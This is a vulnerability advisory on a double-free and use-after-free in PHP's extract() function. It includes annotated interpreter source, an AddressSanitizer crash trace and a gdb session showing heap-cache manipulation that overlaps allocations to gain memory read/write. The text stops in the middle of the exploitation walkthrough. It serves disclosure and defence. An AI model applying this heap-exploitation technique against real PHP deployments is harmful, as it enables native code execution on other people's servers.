SSD Advisory – extract() double-free(5.X)/use-after-free(7.X/8.X)

Summary

A vulnerability in PHP’s extract() function allows attackers to trigger a double-free in version 5.x or a user-after-free in versions 7.x, 8.x, which in turn allows arbitrary code execution (native code).

Credit

An independent security researcher, LCFR, working with SSD Secure Disclosure.

Vendor Response

The vendor (Zend) has addressed the issue: https://github.com/php/php-src/security/advisories/GHSA-4pwq-3fv3-gm94. Zend have provided the following statement “Thanks for the report. We do not generally consider code that is specifically crafted to cause crashes security issues. I have created a normal bug report for this issue and will create a PR shortly.”

Affected Versions
  • PHP 5.x, 7.x and 8.x
Technical Analysis

A vulnerability in PHP can be used to cause extract to free a pointer to a zval orig_var multiple times using an object’s __destruct function to unset the var in the middle of an already executing call to zval_ptr_dtor.

PHP 5.x

The code below is relevant for all of PHP 5.X.

From extract details page:

Import variables from an array into the current symbol table.

Flags
The way invalid/numeric keys and collisions are treated is determined by the extraction flags. It can be one of the following values:

EXTR_OVERWRITE
If there is a collision, overwrite the existing variable.

EXTR_SKIP
If there is a collision, don't overwrite the existing variable.

EXTR_PREFIX_SAME
If there is a collision, prefix the variable name with prefix.

EXTR_PREFIX_ALL
Prefix all variable names with prefix.

EXTR_PREFIX_INVALID
Only prefix invalid/numeric variable names with prefix.

EXTR_IF_EXISTS
Only overwrite the variable if it already exists in the current symbol table, otherwise do nothing. This is useful for defining a list of valid variables and then extracting only those variables you have defined out of $_REQUEST, for example.

EXTR_PREFIX_IF_EXISTS
Only create prefixed variable names if the non-prefixed version of the same variable exists in the current symbol table.

EXTR_REFS
Extracts variables as references. This effectively means that the values of the imported variables are still referencing the values of the array parameter. You can use this flag on its own or combine it with any other flag by OR'ing the flags.

If flags is not specified, it is assumed to be EXTR_OVERWRITE.

From PHP 5.X extract() function code:

PHP_FUNCTION(extract) {
  zval * var_array, * prefix = NULL;
  long extract_type = EXTR_OVERWRITE;
  zval ** entry, * data;
  char * var_name;
  ulong num_key;
  uint var_name_len;
  int var_exists, key_type, count = 0;
  int extract_refs = 0;
  HashPosition pos;

  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "a|lz/", & var_array, & extract_type, & prefix) == FAILURE) {
    return;
  }

  extract_refs = (extract_type & EXTR_REFS); < --[0] we set the extract_type to EXTR_REFS here
  extract_type &= 0xff;

  if (extract_type < EXTR_OVERWRITE || extract_type > EXTR_IF_EXISTS) {
    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid extract type");
    return;
  }

  if (extract_type > EXTR_SKIP && extract_type <= EXTR_PREFIX_IF_EXISTS && ZEND_NUM_ARGS() < 3) {
    php_error_docref(NULL TSRMLS_CC, E_WARNING, "specified extract type requires the prefix parameter");
    return;
  }

  if (prefix) {
    convert_to_string(prefix);
    if (Z_STRLEN_P(prefix) && !php_valid_var_name(Z_STRVAL_P(prefix), Z_STRLEN_P(prefix))) {
      php_error_docref(NULL TSRMLS_CC, E_WARNING, "prefix is not a valid identifier");
      return;
    }
  }

  if (!EG(active_symbol_table)) {
    zend_rebuild_symbol_table(TSRMLS_C);
  }

  /* var_array is passed by ref for the needs of EXTR_REFS (needs to
   * work on the original array to create refs to its members)
   * simulate pass_by_value if EXTR_REFS is not used */
  if (!extract_refs) {
    SEPARATE_ARG_IF_REF(var_array);
  }

  zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(var_array), & pos);
  while (zend_hash_get_current_data_ex(Z_ARRVAL_P(var_array), (void ** ) & entry, & pos) == SUCCESS) { // [1] iterate the $array
    zval final_name;

    ZVAL_NULL( & final_name);

    key_type = zend_hash_get_current_key_ex(Z_ARRVAL_P(var_array), & var_name, & var_name_len, & num_key, 0, & pos);
    var_exists = 0;

    if (key_type == HASH_KEY_IS_STRING) {
      var_name_len--;
      var_exists = zend_hash_exists(EG(active_symbol_table), var_name, var_name_len + 1); // [2] set var_exists if the key exists as a variable in the active_symbol_table
    } else if (key_type == HASH_KEY_IS_LONG && (extract_type == EXTR_PREFIX_ALL || extract_type == EXTR_PREFIX_INVALID)) {
      zval num;

      ZVAL_LONG( & num, num_key);
      convert_to_string( & num);
      php_prefix_varname( & final_name, prefix, Z_STRVAL(num), Z_STRLEN(num), 1 TSRMLS_CC);
      zval_dtor( & num);
    } else {
      zend_hash_move_forward_ex(Z_ARRVAL_P(var_array), & pos);
      continue;
    }

    switch (extract_type) {
    case EXTR_IF_EXISTS:
      if (!var_exists) break;
      /* break omitted intentionally */

    case EXTR_OVERWRITE:
      /* GLOBALS protection */
      if (var_exists && var_name_len == sizeof("GLOBALS") - 1 && !strcmp(var_name, "GLOBALS")) {
        break;
      }
      if (var_exists && var_name_len == sizeof("this") - 1 && !strcmp(var_name, "this") && EG(scope) && EG(scope) -> name_length != 0) {
        break;
      }
      ZVAL_STRINGL( & final_name, var_name, var_name_len, 1);
      break;

    case EXTR_PREFIX_IF_EXISTS:
      if (var_exists) {
        php_prefix_varname( & final_name, prefix, var_name, var_name_len, 1 TSRMLS_CC);
      }
      break;

    case EXTR_PREFIX_SAME:
      if (!var_exists && var_name_len != 0) {
        ZVAL_STRINGL( & final_name, var_name, var_name_len, 1);
      }
      /* break omitted intentionally */

    case EXTR_PREFIX_ALL:
      if (Z_TYPE(final_name) == IS_NULL && var_name_len != 0) {
        php_prefix_varname( & final_name, prefix, var_name, var_name_len, 1 TSRMLS_CC);
      }
      break;

    case EXTR_PREFIX_INVALID:
      if (Z_TYPE(final_name) == IS_NULL) {
        if (!php_valid_var_name(var_name, var_name_len)) {
          php_prefix_varname( & final_name, prefix, var_name, var_name_len, 1 TSRMLS_CC);
        } else {
          ZVAL_STRINGL( & final_name, var_name, var_name_len, 1);
        }
      }
      break;

    default:
      if (!var_exists) {
        ZVAL_STRINGL( & final_name, var_name, var_name_len, 1);
      }
      break;
    }

    if (Z_TYPE(final_name) != IS_NULL && php_valid_var_name(Z_STRVAL(final_name), Z_STRLEN(final_name))) {
      if (extract_refs) { // [3] Take this path after setting EXTR_REFS
        zval ** orig_var;

        SEPARATE_ZVAL_TO_MAKE_IS_REF(entry);
        zval_add_ref(entry);

        if (zend_hash_find(EG(active_symbol_table), Z_STRVAL(final_name), Z_STRLEN(final_name) + 1, (void ** ) & orig_var) == SUCCESS) {
          zval_ptr_dtor(orig_var); // [4] attempt to remove the var from the active_symbol_table to replace it with entry.
          * orig_var = * entry;
        } else {
          zend_hash_update(EG(active_symbol_table), Z_STRVAL(final_name), Z_STRLEN(final_name) + 1, (void ** ) entry, sizeof(zval * ), NULL);
        }
      } else {
        MAKE_STD_ZVAL(data);
        * data = ** entry;
        zval_copy_ctor(data);

        ZEND_SET_SYMBOL_WITH_LENGTH(EG(active_symbol_table), Z_STRVAL(final_name), Z_STRLEN(final_name) + 1, data, 1, 0);
      }
      count++;
    }
    zval_dtor( & final_name);

    zend_hash_move_forward_ex(Z_ARRVAL_P(var_array), & pos);
  }

  if (!extract_refs) {
    zval_ptr_dtor( & var_array);
  }

  RETURN_LONG(count);
}

ZEND_API void _zval_ptr_dtor(zval ** zval_ptr ZEND_FILE_LINE_DC) /* {{{ */ {
  zval * zv = * zval_ptr;

  #if DEBUG_ZEND >= 2
  printf("Reducing refcount for %x (%x): %d->%d\n", * zval_ptr, zval_ptr, Z_REFCOUNT_PP(zval_ptr), Z_REFCOUNT_PP(zval_ptr) - 1);
  #endif
  Z_DELREF_P(zv);
  if (Z_REFCOUNT_P(zv) == 0) {
    TSRMLS_FETCH();

    if (zv != & EG(uninitialized_zval)) {
      GC_REMOVE_ZVAL_FROM_BUFFER(zv);
      zval_dtor(zv); // [5]
      efree_rel(zv);
    }
  } else {
    TSRMLS_FETCH();

    if (Z_REFCOUNT_P(zv) == 1) {
      Z_UNSET_ISREF_P(zv);
    }

    GC_ZVAL_CHECK_POSSIBLE_ROOT(zv);
  }
}

static inline void _zval_dtor(zval * zvalue ZEND_FILE_LINE_DC) {
  if (zvalue -> type <= IS_BOOL) {
    return;
  }
  _zval_dtor_func(zvalue ZEND_FILE_LINE_RELAY_CC); // [6]
}

ZEND_API void _zval_dtor_func(zval * zvalue ZEND_FILE_LINE_DC) {
  switch (Z_TYPE_P(zvalue) & IS_CONSTANT_TYPE_MASK) {
  case IS_STRING:
  case IS_CONSTANT:
    CHECK_ZVAL_STRING_REL(zvalue);
    str_efree_rel(zvalue -> value.str.val);
    break;
  case IS_ARRAY: {
    TSRMLS_FETCH();

    if (zvalue -> value.ht && (zvalue -> value.ht != & EG(symbol_table))) {
      /* break possible cycles */
      Z_TYPE_P(zvalue) = IS_NULL;
      zend_hash_destroy(zvalue -> value.ht);
      FREE_HASHTABLE(zvalue -> value.ht);
    }
  }
  break;
  case IS_CONSTANT_AST:
    zend_ast_destroy(Z_AST_P(zvalue));
    break;
  case IS_OBJECT: {
    TSRMLS_FETCH();

    Z_OBJ_HT_P(zvalue) -> del_ref(zvalue TSRMLS_CC); // [7]
  }
  break;
  case IS_RESOURCE: {
    TSRMLS_FETCH();

    /* destroy resource */
    zend_list_delete(zvalue -> value.lval);
  }
  break;
  case IS_LONG:
  case IS_DOUBLE:
  case IS_BOOL:
  case IS_NULL:
  default:
    return;
    break;
  }
}

[1] Set extract_type to EXTRA_REFS

[2] Set var_exists if the entry exists in the active_symbol_table

[3] This path is taken after setting EXTRA_REFS as extract_type.

[4] calls zval_ptr_dtor(orig_var).

[5] calls zval_dtor() on the zval that now has a refcount == 0

[6] calls _zval_dtor_func which will execute shutdown operations for specific types.

[7] Objects call zend_objects_store_del_ref -> zend_objects_store_del_ref_by_handle_ex -> zend_objects_destroy_object.
zend_objects_destroy_object calls an objects __destruct method if it exists and executes the code inside of it.

If orig_var is an object, it calls the objects __destruct function at [7].
The objects __destruct method calls unset() on the var we are currently calling zval_ptr_dtor on.
unset will call zval_ptr_dtor on the pointer we are in the middle of the previous zval_ptr_dtor call from extract.

zval_ptr_dtor call from unset will lead to the first _efree call on the orig_var pointer putting the pointer into the
cache[2] of alloc_globals.mm_heap.cache. This will be reallocated though while execution continues.

A third call to zval_ptr_dtor is called when __destruct returns via zend_call_method leading to the second _efree call. This places the pointer in zval pointer in the cache[2].

Finally When execution resumes in extract’s zval_ptr_dtor after the zval_dtor_func -> _destruct it will call _efree again on the already free zval pointer, inserting a double pointer in the cache[2].

PHP 7.x and 8.x

The bug is similar in PHP 7.X & 8.X.

The extract function has been split up into multiple functions: PHP 8.4.4 extract

PHP_FUNCTION(extract) {
  zval * var_array_param;
  zend_long extract_refs;
  zend_long extract_type = PHP_EXTR_OVERWRITE;
  zend_string * prefix = NULL;
  zend_long count;
  zend_array * symbol_table;

  ZEND_PARSE_PARAMETERS_START(1, 3)
  Z_PARAM_ARRAY_EX2(var_array_param, 0, 1, 0)
  Z_PARAM_OPTIONAL
  Z_PARAM_LONG(extract_type)
  Z_PARAM_STR(prefix)
  ZEND_PARSE_PARAMETERS_END();

  extract_refs = (extract_type & PHP_EXTR_REFS); // [1]
  if (extract_refs) {
    SEPARATE_ARRAY(var_array_param);
  }
  extract_type &= 0xff;

  if (extract_type < PHP_EXTR_OVERWRITE || extract_type > PHP_EXTR_IF_EXISTS) {
    zend_argument_value_error(2, "must be a valid extract type");
    RETURN_THROWS();
  }

  if (extract_type > PHP_EXTR_SKIP && extract_type <= PHP_EXTR_PREFIX_IF_EXISTS && ZEND_NUM_ARGS() < 3) {
    zend_argument_value_error(3, "is required when using this extract type");
    RETURN_THROWS();
  }

  if (prefix) {
    if (ZSTR_LEN(prefix) && !php_valid_var_name(ZSTR_VAL(prefix), ZSTR_LEN(prefix))) {
      zend_argument_value_error(3, "must be a valid identifier");
      RETURN_THROWS();
    }
  }

  if (zend_forbid_dynamic_call() == FAILURE) {
    return;
  }

  symbol_table = zend_rebuild_symbol_table();
  ZEND_ASSERT(symbol_table && "A symbol table should always be available here");

  if (extract_refs) {
    switch (extract_type) {
    case PHP_EXTR_IF_EXISTS:
      count = php_extract_ref_if_exists(Z_ARRVAL_P(var_array_param), symbol_table);
      break;
    case PHP_EXTR_OVERWRITE: // [2]
      count = php_extract_ref_overwrite(Z_ARRVAL_P(var_array_param), symbol_table);
      break;
    case PHP_EXTR_PREFIX_IF_EXISTS:
      count = php_extract_ref_prefix_if_exists(Z_ARRVAL_P(var_array_param), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_SAME:
      count = php_extract_ref_prefix_same(Z_ARRVAL_P(var_array_param), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_ALL:
      count = php_extract_ref_prefix_all(Z_ARRVAL_P(var_array_param), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_INVALID:
      count = php_extract_ref_prefix_invalid(Z_ARRVAL_P(var_array_param), symbol_table, prefix);
      break;
    default:
      count = php_extract_ref_skip(Z_ARRVAL_P(var_array_param), symbol_table);
      break;
    }
  } else {
    /* The array might be stored in a local variable that will be overwritten */
    zval array_copy;
    ZVAL_COPY( & array_copy, var_array_param);
    switch (extract_type) {
    case PHP_EXTR_IF_EXISTS:
      count = php_extract_if_exists(Z_ARRVAL(array_copy), symbol_table);
      break;
    case PHP_EXTR_OVERWRITE:
      count = php_extract_overwrite(Z_ARRVAL(array_copy), symbol_table);
      break;
    case PHP_EXTR_PREFIX_IF_EXISTS:
      count = php_extract_prefix_if_exists(Z_ARRVAL(array_copy), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_SAME:
      count = php_extract_prefix_same(Z_ARRVAL(array_copy), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_ALL:
      count = php_extract_prefix_all(Z_ARRVAL(array_copy), symbol_table, prefix);
      break;
    case PHP_EXTR_PREFIX_INVALID:
      count = php_extract_prefix_invalid(Z_ARRVAL(array_copy), symbol_table, prefix);
      break;
    default:
      count = php_extract_skip(Z_ARRVAL(array_copy), symbol_table);
      break;
    }
    zval_ptr_dtor( & array_copy);
  }

  RETURN_LONG(count);
}

From the PHP 8.4.4 php_extract_ref_overwrite code:

static zend_long php_extract_ref_overwrite(zend_array * arr, zend_array * symbol_table) /* {{{ */ {
  zend_long count = 0;
  zend_string * var_name;
  zval * entry, * orig_var;

  if (HT_IS_PACKED(arr)) {
    return 0;
  }
  ZEND_HASH_MAP_FOREACH_STR_KEY_VAL(arr, var_name, entry) {
    if (!var_name) {
      continue;
    }
    if (!php_valid_var_name(ZSTR_VAL(var_name), ZSTR_LEN(var_name))) {
      continue;
    }
    if (zend_string_equals(var_name, ZSTR_KNOWN(ZEND_STR_THIS))) {
      zend_throw_error(NULL, "Cannot re-assign $this");
      return -1;
    }
    orig_var = zend_hash_find_known_hash(symbol_table, var_name); // [3]
    if (orig_var) {
      if (Z_TYPE_P(orig_var) == IS_INDIRECT) {
        orig_var = Z_INDIRECT_P(orig_var);
      }
      if (zend_string_equals_literal(var_name, "GLOBALS")) {
        continue;
      }
      if (Z_ISREF_P(entry)) {
        Z_ADDREF_P(entry);
      } else {
        ZVAL_MAKE_REF_EX(entry, 2);
      }
      zval_ptr_dtor(orig_var); // [4]
      ZVAL_REF(orig_var, Z_REF_P(entry));
    } else {
      if (Z_ISREF_P(entry)) {
        Z_ADDREF_P(entry);
      } else {
        ZVAL_MAKE_REF_EX(entry, 2);
      }
      zend_hash_add_new(symbol_table, var_name, entry);
    }
    count++;
  }
  ZEND_HASH_FOREACH_END();

  return count;
}

This leads to a similar path/result and corrupted heap as the 5.X examples.

[1] Set extract_type as EXTR_REFS & PHP_EXTR_OVERWRITE
[2] Calls php_extract_ref_overwrite
[3] Checks the active_symbol_table for orig_var
[4] Try to remove/destroy the zval of the orig_var and replace it with entry.

php-8.4.4$ USE_ZEND_ALLOC=0 ./sapi/cli/php basic_debug.php 
=================================================================
==935754==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000045b10 at pc 0x5d740d208442 bp 0x7ffcd1d3f410 sp 0x7ffcd1d3f400
READ of size 4 at 0x604000045b10 thread T0
    #0 0x5d740d208441 in zend_gc_delref /home/x/versions/php-8.4.4/Zend/zend_types.h:1346
    #1 0x5d740d208441 in zend_objects_store_del /home/x/versions/php-8.4.4/Zend/zend_objects_API.c:180
    #2 0x5d740d27a634 in rc_dtor_func /home/x/versions/php-8.4.4/Zend/zend_variables.c:57
    #3 0x5d740d27aa4d in i_zval_ptr_dtor /home/x/versions/php-8.4.4/Zend/zend_variables.h:45
    #4 0x5d740d27aa4d in zval_ptr_dtor /home/x/versions/php-8.4.4/Zend/zend_variables.c:84
    #5 0x5d740c58ee3e in php_extract_ref_overwrite /home/x/versions/php-8.4.4/ext/standard/array.c:1975
    #6 0x5d740c5a1046 in zif_extract /home/x/versions/php-8.4.4/ext/standard/array.c:2641
    #7 0x5d740d0592ac in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:1287
    #8 0x5d740d0592ac in execute_ex /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:58804
    #9 0x5d740d0b32ba in zend_execute /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:64236
    #10 0x5d740d29e323 in zend_execute_script /home/x/versions/php-8.4.4/Zend/zend.c:1934
    #11 0x5d740c92540f in php_execute_script_ex /home/x/versions/php-8.4.4/main/main.c:2575
    #12 0x5d740c925823 in php_execute_script /home/x/versions/php-8.4.4/main/main.c:2615
    #13 0x5d740d2a35e7 in do_cli /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:935
    #14 0x5d740d2a5da9 in main /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:1310
    #15 0x732d12629d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #16 0x732d12629e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #17 0x5d740be065e4 in _start (/home/x/versions/php-8.4.4/sapi/cli/php+0x4065e4)

0x604000045b10 is located 0 bytes inside of 40-byte region [0x604000045b10,0x604000045b38)
freed by thread T0 here:
    #0 0x732d12cb4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
    #1 0x5d740cb8e5a5 in __zend_free /home/x/versions/php-8.4.4/Zend/zend_alloc.c:3308
    #2 0x5d740cb85b5d in _efree /home/x/versions/php-8.4.4/Zend/zend_alloc.c:2747
    #3 0x5d740d20881b in zend_objects_store_del /home/x/versions/php-8.4.4/Zend/zend_objects_API.c:198
    #4 0x5d740d20a38b in zend_object_release /home/x/versions/php-8.4.4/Zend/zend_objects_API.h:77
    #5 0x5d740d20a38b in zend_objects_destroy_object /home/x/versions/php-8.4.4/Zend/zend_objects.c:204
    #6 0x5d740d208402 in zend_objects_store_del /home/x/versions/php-8.4.4/Zend/zend_objects_API.c:179
    #7 0x5d740d27a634 in rc_dtor_func /home/x/versions/php-8.4.4/Zend/zend_variables.c:57
    #8 0x5d740d27aa4d in i_zval_ptr_dtor /home/x/versions/php-8.4.4/Zend/zend_variables.h:45
    #9 0x5d740d27aa4d in zval_ptr_dtor /home/x/versions/php-8.4.4/Zend/zend_variables.c:84
    #10 0x5d740c58ee3e in php_extract_ref_overwrite /home/x/versions/php-8.4.4/ext/standard/array.c:1975
    #11 0x5d740c5a1046 in zif_extract /home/x/versions/php-8.4.4/ext/standard/array.c:2641
    #12 0x5d740d0592ac in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:1287
    #13 0x5d740d0592ac in execute_ex /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:58804
    #14 0x5d740d0b32ba in zend_execute /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:64236
    #15 0x5d740d29e323 in zend_execute_script /home/x/versions/php-8.4.4/Zend/zend.c:1934
    #16 0x5d740c92540f in php_execute_script_ex /home/x/versions/php-8.4.4/main/main.c:2575
    #17 0x5d740c925823 in php_execute_script /home/x/versions/php-8.4.4/main/main.c:2615
    #18 0x5d740d2a35e7 in do_cli /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:935
    #19 0x5d740d2a5da9 in main /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:1310
    #20 0x732d12629d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

previously allocated by thread T0 here:
    #0 0x732d12cb4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5d740cb8e1ed in __zend_malloc /home/x/versions/php-8.4.4/Zend/zend_alloc.c:3280
    #2 0x5d740cb8562d in _emalloc /home/x/versions/php-8.4.4/Zend/zend_alloc.c:2737
    #3 0x5d740d20a4ad in zend_objects_new /home/x/versions/php-8.4.4/Zend/zend_objects.c:210
    #4 0x5d740cba350c in _object_and_properties_init /home/x/versions/php-8.4.4/Zend/zend_API.c:1823
    #5 0x5d740cba350c in object_init_ex /home/x/versions/php-8.4.4/Zend/zend_API.c:1846
    #6 0x5d740cdfd89f in ZEND_NEW_SPEC_CONST_UNUSED_HANDLER /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:10932
    #7 0x5d740d071891 in execute_ex /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:59943
    #8 0x5d740d0b32ba in zend_execute /home/x/versions/php-8.4.4/Zend/zend_vm_execute.h:64236
    #9 0x5d740d29e323 in zend_execute_script /home/x/versions/php-8.4.4/Zend/zend.c:1934
    #10 0x5d740c92540f in php_execute_script_ex /home/x/versions/php-8.4.4/main/main.c:2575
    #11 0x5d740c925823 in php_execute_script /home/x/versions/php-8.4.4/main/main.c:2615
    #12 0x5d740d2a35e7 in do_cli /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:935
    #13 0x5d740d2a5da9 in main /home/x/versions/php-8.4.4/sapi/cli/php_cli.c:1310
    #14 0x732d12629d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-use-after-free /home/x/versions/php-8.4.4/Zend/zend_types.h:1346 in zend_gc_delref
Shadow bytes around the buggy address:
  0x0c0880000b10: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x0c0880000b20: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
  0x0c0880000b30: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
  0x0c0880000b40: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x0c0880000b50: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
=>0x0c0880000b60: fa fa[fd]fd fd fd fd fa fa fa fa fa fa fa fa fa
  0x0c0880000b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0880000b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0880000b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0880000ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0880000bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==935754==ABORTING
Exploitation

The debugging and exploitation here is done on 5.3.X but apply to all 5.X (5.3,5.4,5.5,5.6).

Break using zif_sleep calling sleep() after triggering the free’s and viewing the zend_mm_heap.cache for cache[2] will show multiple of the same pointers, indicating double free.

We can use this to overlap two different types/allocations and gain full R/W access to PHP’s memory exploiting the zvalue_value union.

b zif_sleep  
b _emalloc if size == 32  
b _emalloc if size == 25  

Disable both until sleep hits.

cachex used below is a gdb script to view the current cache entries for specific index.

The object we double free is a zval of size 0x18 (orig_var) from extract. this is rounded up to size 32 with alignment. The zend_mm_heap.cache directly after calling extract() and hitting the double free:

Breakpoint 2, zif_sleep (ht=1, return_value=0x555556037e00, return_value_ptr=0x0, this_ptr=0x0, return_value_used=0) at /home/x/versions/php-5.3.29/ext/standard/basic_functions.c:4449
4449    {
(gdb) enable 3 4
(gdb) c
Continuing.

Breakpoint 3, _emalloc (size=32) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2347
2347        if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb) p alloc_globals.mm_heap.cache
$7850 = {0x555556022f88, 0x555556024690, 0x555556037dc0, 0x55555601ee70, 0x0, 0x555556023330, 0x555556020418, 0x555556037b40, 0x0, 0x0, 0x0, 0x0, 0x0, 
  0x555556023040, 0x55555601b670, 0x0, 0x55555601f1b0, 0x0 <repeats 13 times>, 0x55555601bcd0, 0x0 <repeats 31 times>, 0x55555601efa0, 0x0}
(gdb) cachex 2
Cache at index [2]:
$7851 = {info = {_size = 49, _prev = 49}, prev_free_block = 0x555556037df0, next_free_block = 0x5, parent = 0x100000000, child = {0x0, 0x31}}
$7852 = {info = {_size = 49, _prev = 49}, prev_free_block = 0x555556037b10, next_free_block = 0x0, parent = 0x100000000, child = {0x0, 0x31}}
$7853 = {info = {_size = 49, _prev = 89}, prev_free_block = 0x555556037e20, next_free_block = 0x0, parent = 0xffffffff, child = {0x0, 0x59}}
$7854 = {info = {_size = 49, _prev = 49}, prev_free_block = 0x555556037b10, next_free_block = 0x555555e4a9c0 <std_object_handlers>, parent = 0x500000000, child = {0x0, 0xe9d0}}
...
(gdb) 
1839                return ZEND_MM_DATA_OF(best_fit);
(gdb) p best_fit
$7866 = (zend_mm_free_block *) 0x555556037dc0
(gdb) p/x *best_fit
$7867 = {info = {_size = 0x31, _prev = 0x31}, prev_free_block = 0x555556037df0, next_free_block = 0x5, parent = 0x100000000, child = {0x0, 0x31}}
(gdb) p/x 0x555556037dc0 + 0x10
$7868 = 0x555556037dd0
(gdb) s
...
(gdb) 
zend_assign_to_variable (variable_ptr_ptr=0x555556037bc0, value=0x55555601ff40, is_tmp_var=0) at /home/x/versions/php-5.3.29/Zend/zend_execute.c:726
726                        *variable_ptr_ptr = variable_ptr;
(gdb) 
727                        *variable_ptr = *value;
(gdb) 
728                        Z_SET_REFCOUNT_P(variable_ptr, 1);
(gdb) p variable_ptr
$7869 = (zval *) 0x555556037dd0
(gdb) p *value
$7870 = {value = {lval = 666, dval = 3.290477201302702e-321, str = {val = 0x29a <error: Cannot access memory at address 0x29a>, len = 1}, ht = 0x29a, obj = {
      handle = 666, handlers = 0x1}}, refcount__gc = 2, type = 1 '\001', is_ref__gc = 1 '\001'}
(gdb) c
Continuing.

Breakpoint 3, _emalloc (size=32) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2347
...
1839                return ZEND_MM_DATA_OF(best_fit);
(gdb) p best_fit
$7871 = (zend_mm_free_block *) 0x555556037df0
(gdb) p/x 0x555556037df0 + 0x10
$7872 = 0x555556037e00
...
zend_assign_to_variable (variable_ptr_ptr=0x555556037e78, value=0x55555601ffb8, is_tmp_var=0) at /home/x/versions/php-5.3.29/Zend/zend_execute.c:726
726                        *variable_ptr_ptr = variable_ptr;
(gdb) 
727                        *variable_ptr = *value;
(gdb) p variable_ptr
$7873 = (zval *) 0x555556037e00
(gdb) p *value
$7874 = {value = {lval = 93825003546368, dval = 4.6355710973193553e-310, str = {val = 0x55555601e700 'A' <repeats 24 times>, len = 24}, ht = 0x55555601e700, 
    obj = {handle = 1442965248, handlers = 0x18}}, refcount__gc = 2, type = 6 '\006', is_ref__gc = 1 '\001'}
(gdb) c
Continuing.

Breakpoint 4, _emalloc (size=25) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2347
...
1839                return ZEND_MM_DATA_OF(best_fit);
(gdb) p best_fit
$7875 = (zend_mm_free_block *) 0x555556037b10
(gdb) p/x 0x555556037b10 + 0x10
$7876 = 0x555556037b20
(gdb) s
1984    }
(gdb) 
_emalloc (size=25) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2351
2351    }
(gdb) 
_estrndup (s=0x55555601e700 'A' <repeats 24 times>, length=24) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2504
2504        if (UNEXPECTED(p == NULL)) {
(gdb) s
2507        memcpy(p, s, length);
(gdb) p p
$7877 = 0x555556037b20 " ~\003VUU" <-- this address will be used for the double allocation of string/array.
(gdb) c
Continuing.

Breakpoint 3, _emalloc (size=32) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2347
...
1839                return ZEND_MM_DATA_OF(best_fit);
(gdb) p best_fit
$7878 = (zend_mm_free_block *) 0x555556037e20
(gdb) p/x 0x555556037e20 + 0x10
$7879 = 0x555556037e30
...
zend_assign_to_variable (variable_ptr_ptr=0x555556037ed8, value=0x555556020030, is_tmp_var=0) at /home/x/versions/php-5.3.29/Zend/zend_execute.c:726
726                        *variable_ptr_ptr = variable_ptr;
(gdb) 
727                        *variable_ptr = *value;
(gdb) p variable_ptr
$7880 = (zval *) 0x555556037e30
(gdb) p *value
$7881 = {value = {lval = 777, dval = 3.8388900681864856e-321, str = {val = 0x309 <error: Cannot access memory at address 0x309>, len = 1}, ht = 0x309, 
    obj = {handle = 777, handlers = 0x1}}, refcount__gc = 2, type = 1 '\001', is_ref__gc = 1 '\001'}
(gdb) c
Continuing.
PHP Notice:  Undefined variable: empty in /home/x/exploit/ssd/basic_debug.php on line 34

Breakpoint 3, _emalloc (size=32) at /home/x/versions/php-5.3.29/Zend/zend_alloc.c:2347
...
1839                return ZEND_MM_DATA_OF(best_fit);
(gdb) p best_fit
$7882 = (zend_mm_free_block *) 0x555556037b10 <--- allocate array over our String we allocated above
